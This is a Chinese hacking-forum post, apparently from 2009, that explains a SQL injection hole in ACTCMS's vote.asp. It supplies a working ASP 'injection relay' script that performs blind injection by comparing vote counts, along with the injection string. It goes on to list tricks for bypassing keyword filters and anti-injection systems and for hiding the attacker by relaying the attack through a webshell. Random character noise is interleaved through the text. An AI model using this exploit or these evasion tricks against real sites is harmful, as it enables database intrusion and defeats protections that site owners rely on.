4 ~3 O# `7 N( G5 C: D6 n# {/ m
看到ninty大牛的blog的一篇文章
& |, r; N i6 D链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
( w( M# Z6 T* A9 P, k3 m2 D& r关于actcms漏洞的利用 by 3x qq:381862589, E& d& _6 b, y
转载请注明以上3 Z: @' {- ~' ^ }2 \+ G
漏洞文件:
! f1 H, k2 `7 C* n& m! w a( K( ?/plus/vote/vote.asp
- z$ K1 Y4 f4 o6 @# u代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 1 D8 g9 Z/ Y0 e- h/ b
8 M9 M: T9 D* v# p" X
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
; A4 r. Y* k) y( T7 X! } _% r9 I1 H) f8 o8 `0 L# A7 y) m
3 response.end
6 b: m( A& V4 M, \0 w; N4 J
0 V% \6 K' [: y; D8 B% z% P- _; r) ?4 end if 8 r6 N( e$ _8 V6 [# _* F5 h1 v
4 k$ X3 [4 y @3 V: a: i% b- t a$ M5 for i=1 to request("voted").count 1 _& f8 g% T# |# h2 t" Y
5 @0 Q- V! _6 s2 R8 ~1 ^
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) ' F. i* ^5 I! W, T4 q9 O
' C0 Y2 f2 {4 o6 i2 z5 @4 l
7 next
5 {* }& d2 G6 w6 D
5 z6 Z: f& x4 D2 C3 V t" ]3 }8 b8.... . ^! O7 ]# E- }" G. k6 {* r
$ ~. A9 [; Z$ S6 X/ x: E X1 k
9response.Redirect "index.asp?id="&id&""
: i/ E6 j- V* y8 b6 T9 R1 i投票结束回跳转回index.asp这个投票结果页面
" E. U3 l4 O3 Z" a% p# p如果投票成功票数加1
9 G; g6 ^0 O( D" o1 i 失败票数不变
' z' s1 E0 R8 ~1 f8 E- |- [$ D如图:+ n* \' h( x' \0 d, ?3 A$ m
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)- F9 S& `9 y4 v+ H: |
+ ]5 M( P, c {( C; D
2009-12-27 13:20
7 k/ }6 ]- W$ S4 M, X8 T4 t0 h+ Z9 M. w4 e( D
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了) t5 y8 P U9 ~
+ b/ _+ y. f3 C# o
本帖隐藏的内容需要回复才可以浏览4 C7 h/ W/ Z3 X3 |" {9 M9 p
我们用注入中转来实现这个注入具体代码如下:
) V& R0 s! z X7 O先用寂寞的刺猬大牛的注入中转生成jmget.asp
5 S- z9 _8 i. ^. s8 {! I! }注入地址:http://localhost/actcms/plus/vote/vote.asp
5 W* G t6 Z5 ^; k; [3 P注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
' w5 } A4 C T; X) o
% l. I. ^8 p& N然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
6 ~6 f3 y9 j, K! Y' H/ T; A4 }2 O2 z
02JmdcwName=request("jmdcw")
" ]$ r' B' J& g7 e% t; f8 ?5 A$ n1 l
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] % U' P5 L1 x% m: {+ p; T# X; m
6 b1 f7 p- }8 v
04JmStr="id=1&voted=-1 or 1="&JmdcwName & g: `% ^7 g/ }' e( [: u1 y
( B7 ]9 d: p. u) W1 M* n D% a* W
05JmStr=URLEncoding(JmStr) 6 `5 j( F7 e) W, k; l) w
* Z& K& x- |% C. J2 z" N4 y
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"' d( F, u5 P+ Z# X2 Q5 N
8 j& E# U* L; H2 R+ a( R v$ |07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"/ L1 E) D- V1 ]
2 J3 t6 w) X) o' W08testurl=testurl & "?" & JmStr
3 _6 Q0 } U" v7 o* T7 N0 Q9 q! L. O- W
09JMUrl=JMUrl & "?" & JmStr - W8 _0 w7 b# V4 ?
; b4 H s# p+ Z, L0 j% C10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"& _; G+ t; K e' t5 t" F) {7 {# a
. b+ }# z; F' A9 |" V11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"0 N( y2 T% `2 ]$ T$ O7 I5 d5 m- ~
6 b- C. I+ Q6 _2 f! e; c* d9 k& `12JmCok=replace(JmCok,chr(32),"%20") . f- v! y* i% w: L
0 \; m! X8 t7 F o) l) p, F/ I13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
! X7 {7 k) O; v7 u: e8 T$ q: B. X
14 3 Z6 e% C1 K0 {* y+ S
1 r# t0 q5 a% v' N* X
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
& U6 D+ S2 {+ E Y Q7 d- K
. ^" f3 }* F* I" q" V16
) h5 a6 x a+ i( c- b4 P8 q# X1 w
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
. v/ h0 q7 d3 l; O* ~ M, O4 O& e: {9 ^& l; U
18response.write test1&""&test2&"", ?: N7 K, }. W
( ^& g$ R6 v" o9 e
19
K( `, r/ ]- ?0 {9 y$ {1 k
, m0 U |4 Z3 t20if test1=test2 then '如前后记录相等,表示失败 # f$ {8 s9 q9 Y$ ~/ e
: f" M+ o; N3 U! `* o
21 response.write "failed"+ h: k7 s+ [; O" K
2 Q. O6 O& Z% ^0 K8 r- e% b0 m22else % L& K9 Z1 k0 z! E) a
/ v8 e% |6 }8 M1 X
23 response.write "succeed"( Q% N* J) V$ D. a3 ~/ o
- r% U: Y& x- R z" x: |2 a24end if , x+ l* z# I: S, ~ b% Z3 f# r8 q& P
/ ~: f! j! U7 T/ G- V+ K25 # ]3 M3 }2 Z( d, M
9 n1 h% y" s" H# J
26response.write "by 3x"5 ?4 h% w9 G. C
6 ?. H8 v, O/ p3 m' a' W
27 4 L% L) k. U% Y% d
+ R3 W* i9 D; h& Q6 n( \& R28 & m: n( e! j( l1 H/ e
7 _8 D) ^& W8 l4 U
29Function PostData(PostUrl,PostStr,PostCok,PostRef) 1 z! L1 \3 U/ o+ ^) B+ x+ }0 l' K
9 d4 e8 Z2 o& d5 O" l+ M) y30Dim Http
. E5 F! b! T! h3 M3 W
4 E' U' A2 K( o31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 9 Z6 x4 _3 M* p; O
2 B2 e- W, M0 i. R( V
32With Http
3 L6 u* P$ { n6 Q1 q3 V
/ [1 ?: _1 x$ ]6 N! y33 % r2 r5 Y. C/ e
+ j! z# s- k. v% O/ Z34.Open "GET",PostUrl,False
7 b5 `9 G8 j; X& k4 ]
; o5 v7 w. u- Y- l& T: G. j35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
0 Y5 w3 e7 P7 r7 w. {% ]
4 _: ?4 r- M+ j* W, e3 u: x# n( w& ~36.SetRequestHeader "Referer",PostRef
$ ^ c/ q& C- ^* i3 f+ i
. g( o7 t/ B) G0 M3 i `. G7 w [37.SetRequestHeader "Cookie",PostCok
0 d! I. V0 H2 }1 X3 K5 j& k3 `, Z( O% K/ v
38.Send ()
( H( H4 q1 D% G+ J
4 }: |" ^& O. { Y8 ^39PostData = .ResponseBody
; t) B2 |: G& B. A
& B7 v; x+ e& L8 S' r8 ]4 I40End With
! Y0 a* t2 b5 l" F. N9 e A' F/ z. K0 U% F2 ~5 h& u
41Set Http = Nothing& t8 o: H- Z$ ?* c; x7 s$ x
n9 S2 @: t! t" t# h) z
42PostData =bytes2BSTR(PostData)
) U( c! F) W9 A" r1 d/ M9 l
: \% E$ H3 A3 s. I43End Function
+ k$ @6 |% g0 T6 i5 R
# n* Y0 {2 `& I0 [8 a44
1 L- `+ k' S4 R. j# R% y3 ~/ ]0 t: {, O- o& X
45
# f$ E- J0 t( K3 Y7 e, p
1 h, V, [6 \8 Y# H5 D7 p. w46Function bytes2BSTR(vIn)
: B$ x- i% w! s% W) e
2 N! P# e5 Y8 y9 u47Dim strReturn
4 h S: e+ m s% Y+ c: y2 w0 v% Q
2 @5 O! e) j. W% M2 P0 f4 ]5 z48Dim I, ThisCharCode, NextCharCode
7 s9 i3 l9 z* z# M* j* q) X; ~+ t" O4 l
49strReturn = ""
' G1 Z# Z- ^4 ]. K _+ n4 M4 }* J* O& C
50For I = 1 To LenB(vIn) 8 G) {0 g% q6 q0 z7 c0 ?7 V
: s5 ?# {/ I& O6 Z8 K0 s3 B6 \0 j
51ThisCharCode = AscB(MidB(vIn, I, 1))
4 u" f- P( j. w* ^/ J2 ^5 ]. i; t( b7 t* e
52If ThisCharCode < &H80 Then2 C+ W1 I$ @) z
6 V' U" u0 z( J' z8 d- ~
53strReturn = strReturn & Chr(ThisCharCode) # U- x3 {: Q: ~7 g3 x( Q/ o
5 q; G9 o2 S6 t+ ] v( b
54Else
) p0 E% A. K" g0 e, ?6 y! K% B d
/ \* ?. @4 N1 X$ l6 U+ l Q55NextCharCode = AscB(MidB(vIn, I + 1, 1)) & p9 x$ f7 M o
[+ T% ?$ S! l; J! L4 F56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) ) r4 m4 f6 n0 \. V) a
; A" h8 f/ b( E57I = I + 1
: ]! w' L* J- h
& z; N& S; i3 G5 c58End If6 m" `; B) `( g6 C
3 ]' N6 j( G* t& X8 L" s; I6 D) C59Next' j( Z/ G; r: Y. m+ l! p
& s. O9 y. }0 i* K5 i# Q2 A" L. D% [
60bytes2BSTR = strReturn
9 A, R$ O6 [$ \% S! y0 y# M/ d- l: B; L3 e/ ]+ v
61End Function7 m5 H4 `- e2 }- x& n9 w2 H
* J: _* q, ?$ l+ z62
2 v& c3 \, H( e- Y3 T# j' D& c D! R% U+ V/ U5 i2 z
63Function URLEncoding(vstrin)
! u( I3 n2 r i
3 Q9 X4 i7 j7 D0 q t) [9 L64strReturn=""4 V! h/ _2 l/ }9 ^
6 s4 P- n' Z8 k( n3 C+ b65Dim i
: {( y- y" C# |
& z/ q. z% _! e- j* F# a66For i=1 To Len(vstrin) 3 s( N: w4 q4 p/ H) Q X6 z
x, }2 C. n& | F s4 a# [67ThisChr=Mid(vstrin,i,1)
; l2 @& }; K" L# o( w( w9 C: F
3 L1 W0 M# X0 h7 B4 e) `68if Abs(Asc(ThisChr))< &HFF Then
2 c8 X: Z8 c* c, C' U- C4 V2 c% c6 M0 v) e- }5 B
69strReturn=strReturn & ThisChr
% a% s3 C* k4 c4 a( d% m( A: y* E3 R( l( j* d9 M8 s
70Else8 S' c. e* J' D5 r, F A4 ^
3 Y! w% b, l: a' n4 A" ?
71InnerCode=Asc(ThisChr) Q. V8 ?3 M+ C9 d' W7 D
" ^3 k5 _ o" O72If InnerCode<0 Then
4 V4 F6 c8 _% _, p
! p& I( T% q: j3 ?& T& k4 T& }; A73InnerCode=InnerCode + &H10000 * q$ o3 e$ v, L! M6 y, ]' y7 q" A4 N0 g
) P4 F, S6 | | a) |4 v74End If
3 I1 w# W4 d6 a. }2 V6 m5 M- _# ~% f6 r# T1 r* K0 p& b+ R
75Hight1=(InnerCode And &HFF00) \&HFF ] K/ B) v" K7 {, V% p6 L3 ]
$ F8 S: M J. l: l" w! F0 f
76Low1=InnerCode And &HFF # `- @( o9 c: G& h6 E2 O, o& e
: P9 Z% K& S$ i! a& Q
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
2 W" ^! I' q2 s+ w2 c: I. p# d* k# c) l" \4 k+ y7 `9 E
78End if ' N' [' M; t: E
% h( k% U3 T! i# K7 J
79Next' \" Z% {2 {/ @5 b
5 X/ j7 X' e8 p* D# x80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
6 r5 c2 _/ [( [3 M/ E) I2 N, r$ L. n
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
2 O! B# P: M& j/ S2 T4 l$ o
+ I" ~: e: c% b \* G4 F1 ]82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 3 k3 w, y8 v/ j* v) V
/ ^( N7 Z: `6 t) e9 u( N* p83URLEncoding=strReturn
# u* v4 P" N, a4 W& u' O- l8 d
3 x- T8 p" E1 ^$ w1 _3 r84End Function
4 F1 X( q/ `* [9 N% x" t" p! U* L
/ ]. Y! |0 @) ~; @85 / g ]0 O% b5 X1 S& I1 j
1 D# \# ?& S4 i; V86function getSt(body) 5 I6 c: e6 C0 a: X
" y" x# ?6 R0 W) z7 Y
87 startpot=instr(body,"投票人数:")+len("投票人数:") : a( [/ w6 R6 H% P* E+ f
; `* i( ?! W" J+ i& e3 L. L) C) S88 endpot=instr(startpot,body," ")
2 Z5 a$ C9 F0 D: }3 \; M. l
$ \$ r7 r# r* O5 {89 getSt=mid(body,startpot,endpot-startpot)
* V- E9 e" B- d2 }: {
b( F5 ~- ~& b: s6 Q/ p5 a$ Y6 Q, i5 F90end function
9 y0 S* ~4 e7 d( @) i+ n. v
* a+ m, d4 A# O91%> B m: C; Z: N+ ] J
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了; N: A5 E8 H" a0 F0 u* L
测试下效果:
& E" ]: k5 k `* v8 h& O4 m投票成功:6 L) g- |8 X5 X# T- `0 h$ M
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
/ g ^9 P1 m2 M
" ~0 m% d2 x: d' e! t w2009-12-27 13:297 o' m/ h' u( J I' F
投票失败
6 Y, j% p' q, e9 w1 v0 i0 |& xhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)( ^/ a' ?& C6 }
: k$ w! B/ A% Z1 y0 J2009-12-27 13:29! e! X, L& U9 o5 P% A4 b, q' i
-------------------------------------------------------------------------------
! m" L% F% H8 g( N再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
! t9 Y7 J5 D' `& B; _5 k很抱歉。。。只能用单线程工具去注入。。。。。
$ n- V+ F% E" { I所以失败。。。不好意思。。。
+ D; k( P S5 a0 b3 e-------------------------------------------------------------------------------
% u3 a! K8 D8 l2 w/ J
/ {: W4 @3 ]5 D2 C, P6 Y2 m9 d注入中转的一些其他应用2 E6 H6 J. ^" \8 m% M& j$ X
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
8 [" f) c0 y8 G8 h! r: k1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
& ~3 ~$ r4 p3 g( G9 `# K [7 f2.post注入转成get型的注入,方便我们使用工具来跑
) D8 \& @! {! l/ @. s7 N3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
# e+ v& n: L, ~5 h5 [4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过 _/ n; m6 B/ Y( f
% M { @- b! o2 @* ^# y$ M! o
|